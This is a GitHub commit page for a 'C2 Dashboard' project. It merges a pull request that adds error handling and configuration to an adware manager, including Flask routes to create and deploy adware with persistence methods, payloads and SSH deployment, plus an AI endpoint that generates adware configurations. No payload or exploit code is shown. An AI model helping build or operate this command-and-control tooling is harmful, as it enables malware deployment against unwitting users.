Skip to content

Commit ca1325f

Browse files
Merge pull request #24 from ProjectZeroDays/connect-modules
Connect all modules and add GUI components
2 parents aa56663 + 7808bb8 commit ca1325f

File tree

5 files changed

+133
-61
lines changed

5 files changed

+133
-61
lines changed

app.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -125,6 +125,7 @@ def apply_theme(self):
125125
self.root.tk_setPalette(background='#2e2e2e', foreground='#ffffff', activeBackground='#3e3e3e', activeForeground='#ffffff')
126126
else:
127127
self.root.tk_setPalette(background='#ffffff', foreground='#000000', activeBackground='#e0e0e0', activeForeground='#000000')
128+
self.add_animations_transitions()
128129

129130
def show_about(self):
130131
messagebox.showinfo("About", "C2 Dashboard\nVersion 1.0")

config.json

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,5 +20,22 @@
2020
"default_language": "en",
2121
"logging_level": "INFO",
2222
"log_directory": "logs",
23-
"automatic_updates": true
23+
"automatic_updates": true,
24+
"adware_manager": {
25+
"enabled": true,
26+
"default_payload": "payload1",
27+
"default_deployment_method": "method1"
28+
},
29+
"ai_integration": {
30+
"enabled": true,
31+
"model_endpoint": "http://localhost:5001/generate"
32+
},
33+
"deployment_manager": {
34+
"enabled": true,
35+
"default_method": "SSH"
36+
},
37+
"incident_response": {
38+
"enabled": true,
39+
"default_action": "alert"
40+
}
2441
}

src/adware_dashboard/api/routes.py

Lines changed: 44 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,11 @@ def create_adware():
5151
)
5252
return jsonify(AdwareSerializer.serialize(adware)), 201
5353
except ValueError as e:
54+
logger.error(f"Error creating adware: {str(e)}")
5455
return jsonify({'error': str(e)}), 400
56+
except Exception as e:
57+
logger.error(f"Unexpected error: {str(e)}")
58+
return jsonify({'error': 'An unexpected error occurred'}), 500
5559

5660
@app.route('/adware/<int:adware_id>', methods=['GET'])
5761
def get_adware(adware_id):
@@ -76,49 +80,73 @@ def update_adware(adware_id):
7680
return jsonify(AdwareSerializer.serialize(adware)), 200
7781
return jsonify({'error': 'Adware not found'}), 404
7882
except ValueError as e:
83+
logger.error(f"Error updating adware: {str(e)}")
7984
return jsonify({'error': str(e)}), 400
85+
except Exception as e:
86+
logger.error(f"Unexpected error: {str(e)}")
87+
return jsonify({'error': 'An unexpected error occurred'}), 500
8088

8189
@app.route('/adware/<int:adware_id>', methods=['DELETE'])
8290
def delete_adware(adware_id):
8391
"""
8492
Deletes an adware configuration by its ID.
8593
"""
86-
if adware_manager.delete_adware(adware_id):
87-
return jsonify({'message': 'Adware deleted successfully'}), 200
88-
return jsonify({'error': 'Adware not found'}), 404
94+
try:
95+
if adware_manager.delete_adware(adware_id):
96+
return jsonify({'message': 'Adware deleted successfully'}), 200
97+
return jsonify({'error': 'Adware not found'}), 404
98+
except Exception as e:
99+
logger.error(f"Error deleting adware: {str(e)}")
100+
return jsonify({'error': 'An unexpected error occurred'}), 500
89101

90102
@app.route('/adware', methods=['GET'])
91103
def list_adware():
92104
"""
93105
Lists all adware configurations.
94106
"""
95-
adware_list = adware_manager.list_adware()
96-
return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
107+
try:
108+
adware_list = adware_manager.list_adware()
109+
return jsonify([AdwareSerializer.serialize(adware) for adware in adware_list]), 200
110+
except Exception as e:
111+
logger.error(f"Error listing adware: {str(e)}")
112+
return jsonify({'error': 'An unexpected error occurred'}), 500
97113

98114
@app.route('/adware/<int:adware_id>/deploy', methods=['POST'])
99115
def deploy_adware(adware_id):
100116
"""
101117
Deploys an adware configuration.
102118
"""
103-
if adware_manager.deploy_adware(adware_id):
104-
return jsonify({'message': 'Adware deployed successfully'}), 200
105-
return jsonify({'error': 'Adware not found or deployment failed'}), 404
119+
try:
120+
if adware_manager.deploy_adware(adware_id):
121+
return jsonify({'message': 'Adware deployed successfully'}), 200
122+
return jsonify({'error': 'Adware not found or deployment failed'}), 404
123+
except Exception as e:
124+
logger.error(f"Error deploying adware: {str(e)}")
125+
return jsonify({'error': 'An unexpected error occurred'}), 500
106126

107127
@app.route('/payloads', methods=['GET'])
108128
def list_payloads():
109129
"""
110130
Lists all available payloads.
111131
"""
112-
payload_list = payload_manager.list_payloads()
113-
return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
132+
try:
133+
payload_list = payload_manager.list_payloads()
134+
return jsonify([PayloadSerializer.serialize(payload) for payload in payload_list]), 200
135+
except Exception as e:
136+
logger.error(f"Error listing payloads: {str(e)}")
137+
return jsonify({'error': 'An unexpected error occurred'}), 500
114138

115139
@app.route('/deployment_methods', methods=['GET'])
116140
def list_deployment_methods():
117141
"""
118142
Lists all available deployment methods.
119143
"""
120-
deployment_method_list = deployment_manager.list_deployment_methods()
121-
return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
144+
try:
145+
deployment_method_list = deployment_manager.list_deployment_methods()
146+
return jsonify([DeploymentMethodSerializer.serialize(deployment_method) for deployment_method in deployment_method_list]), 200
147+
except Exception as e:
148+
logger.error(f"Error listing deployment methods: {str(e)}")
149+
return jsonify({'error': 'An unexpected error occurred'}), 500
122150

123151
@app.route('/ai/generate', methods=['POST'])
124152
def generate_ai_config():
@@ -130,6 +158,10 @@ def generate_ai_config():
130158
config = ai_integration.generate_adware_config(data['goal'], data.get('constraints'))
131159
return jsonify(config), 200
132160
except ValueError as e:
161+
logger.error(f"Error generating AI config: {str(e)}")
133162
return jsonify({'error': str(e)}), 400
163+
except Exception as e:
164+
logger.error(f"Unexpected error: {str(e)}")
165+
return jsonify({'error': 'An unexpected error occurred'}), 500
134166

135167
return app

src/adware_dashboard/core/adware_manager.py

Lines changed: 67 additions & 45 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,9 @@ def create_adware(self, name: str, description: str, target_os: str, persistence
6060
except ValueError as e:
6161
self.logger.error(f"Error creating adware: {str(e)}")
6262
raise
63+
except Exception as e:
64+
self.logger.error(f"Unexpected error creating adware: {str(e)}")
65+
raise
6366

6467
def get_adware(self, adware_id: int) -> Adware:
6568
"""
@@ -71,10 +74,14 @@ def get_adware(self, adware_id: int) -> Adware:
7174
Returns:
7275
Adware: The adware object, or None if not found.
7376
"""
74-
adware = Adware.get_or_none(Adware.id == adware_id)
75-
if not adware:
76-
self.logger.warning(f"Adware with ID {adware_id} not found.")
77-
return adware
77+
try:
78+
adware = Adware.get_or_none(Adware.id == adware_id)
79+
if not adware:
80+
self.logger.warning(f"Adware with ID {adware_id} not found.")
81+
return adware
82+
except Exception as e:
83+
self.logger.error(f"Unexpected error retrieving adware with ID {adware_id}: {str(e)}")
84+
return None
7885

7986
def update_adware(self, adware_id: int, name: str = None, description: str = None, target_os: str = None, persistence_method: str = None, payload_id: int = None, deployment_method_id: int = None, config: Dict[str, Any] = None) -> Adware:
8087
"""
@@ -93,36 +100,43 @@ def update_adware(self, adware_id: int, name: str = None, description: str = Non
93100
Returns:
94101
Adware: The updated adware object, or None if not found.
95102
"""
96-
adware = self.get_adware(adware_id)
97-
if not adware:
98-
return None
99-
100-
if name:
101-
adware.name = name
102-
if description:
103-
adware.description = description
104-
if target_os:
105-
adware.target_os = target_os
106-
if persistence_method:
107-
adware.persistence_method = persistence_method
108-
if payload_id:
109-
payload = self.payload_manager.get_payload(payload_id)
110-
if not payload:
111-
self.logger.error(f"Payload with ID {payload_id} not found.")
112-
raise ValueError(f"Payload with ID {payload_id} not found.")
113-
adware.payload = payload
114-
if deployment_method_id:
115-
deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
116-
if not deployment_method:
117-
self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
118-
raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")
119-
adware.deployment_method = deployment_method
120-
if config:
121-
adware.config = config
103+
try:
104+
adware = self.get_adware(adware_id)
105+
if not adware:
106+
return None
107+
108+
if name:
109+
adware.name = name
110+
if description:
111+
adware.description = description
112+
if target_os:
113+
adware.target_os = target_os
114+
if persistence_method:
115+
adware.persistence_method = persistence_method
116+
if payload_id:
117+
payload = self.payload_manager.get_payload(payload_id)
118+
if not payload:
119+
self.logger.error(f"Payload with ID {payload_id} not found.")
120+
raise ValueError(f"Payload with ID {payload_id} not found.")
121+
adware.payload = payload
122+
if deployment_method_id:
123+
deployment_method = self.deployment_manager.get_deployment_method(deployment_method_id)
124+
if not deployment_method:
125+
self.logger.error(f"Deployment method with ID {deployment_method_id} not found.")
126+
raise ValueError(f"Deployment method with ID {deployment_method_id} not found.")
127+
adware.deployment_method = deployment_method
128+
if config:
129+
adware.config = config
122130

123-
adware.save()
124-
self.logger.info(f"Adware '{adware.name}' updated successfully.")
125-
return adware
131+
adware.save()
132+
self.logger.info(f"Adware '{adware.name}' updated successfully.")
133+
return adware
134+
except ValueError as e:
135+
self.logger.error(f"Error updating adware: {str(e)}")
136+
raise
137+
except Exception as e:
138+
self.logger.error(f"Unexpected error updating adware: {str(e)}")
139+
raise
126140

127141
def delete_adware(self, adware_id: int) -> bool:
128142
"""
@@ -134,13 +148,17 @@ def delete_adware(self, adware_id: int) -> bool:
134148
Returns:
135149
bool: True if the adware was deleted, False otherwise.
136150
"""
137-
adware = self.get_adware(adware_id)
138-
if not adware:
139-
return False
151+
try:
152+
adware = self.get_adware(adware_id)
153+
if not adware:
154+
return False
140155

141-
adware.delete_instance()
142-
self.logger.info(f"Adware '{adware.name}' deleted successfully.")
143-
return True
156+
adware.delete_instance()
157+
self.logger.info(f"Adware '{adware.name}' deleted successfully.")
158+
return True
159+
except Exception as e:
160+
self.logger.error(f"Unexpected error deleting adware with ID {adware_id}: {str(e)}")
161+
return False
144162

145163
def list_adware(self) -> List[Adware]:
146164
"""
@@ -149,8 +167,12 @@ def list_adware(self) -> List[Adware]:
149167
Returns:
150168
List[Adware]: A list of all adware objects.
151169
"""
152-
adware_list = list(Adware.select())
153-
return adware_list
170+
try:
171+
adware_list = list(Adware.select())
172+
return adware_list
173+
except Exception as e:
174+
self.logger.error(f"Unexpected error listing adware: {str(e)}")
175+
return []
154176

155177
def deploy_adware(self, adware_id: int) -> bool:
156178
"""
@@ -162,11 +184,11 @@ def deploy_adware(self, adware_id: int) -> bool:
162184
Returns:
163185
bool: True if the adware was deployed, False otherwise.
164186
"""
165-
adware = self.get_adware(adware_id)
166-
if not adware:
167-
return False
168-
169187
try:
188+
adware = self.get_adware(adware_id)
189+
if not adware:
190+
return False
191+
170192
self.deployment_manager.deploy(adware.deployment_method, adware.payload, adware.config)
171193
self.logger.info(f"Adware '{adware.name}' deployed successfully.")
172194
return True

src/gui.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,9 +20,9 @@
2020
from src.dashboard_update_manager import DashboardUpdateManager
2121
from src.alerts_notifications import AlertsNotifications
2222
from src.automated_incident_response import AutomatedIncidentResponse
23-
from src.adware_manager import AdwareManager
24-
from src.ai_integration import AIIntegration
25-
from src.deployment_manager import DeploymentManager
23+
from src.adware_dashboard.core.adware_manager import AdwareManager
24+
from src.adware_dashboard.core.ai_integration import AIIntegration
25+
from src.adware_dashboard.core.deployment_manager import DeploymentManager
2626

2727
class C2Dashboard:
2828
def __init__(self, root):

0 commit comments

Comments
 (0)